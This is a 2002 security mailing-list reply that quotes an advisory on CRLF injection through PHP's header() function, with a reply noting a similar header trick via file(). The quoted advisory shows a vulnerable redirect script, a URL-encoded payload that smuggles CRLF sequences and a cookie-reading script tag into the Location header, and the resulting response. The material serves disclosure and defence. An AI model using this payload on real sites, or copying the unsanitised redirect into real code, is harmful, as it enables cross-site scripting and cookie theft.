RE: PHP header() CRLF Injection

["Eric Stevens" <mightye () mightye org>]

A similar but far less dangerous vulnerability exists with the file() (and
most file read related functions) function when passing a URL as the file to
open (given that you have compiled PHP with appropriate options to allow
this).  You have the capacity to add header information to the GET request,
if you are clever about it, including keepalive, and additional requests
that the original author hadn't counted on.  Such cleverness is left as an
exercise to the reader (if you use HTTP/1.1 instead of 1.0, you may receive
unparsed chunking, severely limiting what little damage could normally be
done).

At this point, I would like to re-voice my general objection to passing
unparsed data entered by one untrusted user directly to anyone's browser.
In general you should always know what sort of regexp any valid user input
matches, and clean it up with preg_replace() or similar function before
passing it out to the browser.  In my mind, this is a task for each
developer, although it sure would be nice if it was redundant security.

-MightyE

-----Original Message-----
From: Matthew Murphy [mailto:mattmurphy () kc rr com]
Sent: Saturday, September 07, 2002 6:37 PM
To: VulnDiscuss; VulnWatch; Vuln-Dev; SecurITeam News; BugTraq
Subject: PHP header() CRLF Injection


PHP's header() function is used to modify HTTP header information by
specifying a header line, such as this:

<?php header("Location: http://www.yahoo.com/";); ?>

It is commonplace to see things such as this:

--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---

http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D

Will cause a series of lines to be produced:

HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/


<SCRIPT>alert(document.cookie)</SCRIPT><!--}        <-- See our code in
between the brackets
Content-type: text/html

The HTML produced is "broken" -- that is, it doesn't comply to RFC
standards,
because it doesn't have a "-->" tag.  I did this to supress the stupid
"Content-type"
header that PHP was dumping in the response.

By using this, attackers can perform cross-site scripting attacks or
initiate downloads, in rare cases (via HTTP headers, such as
content-dispostion, etc.)

"The reason the mainstream is thought
of as a stream is because it is
so shallow."
                     - Author Unknown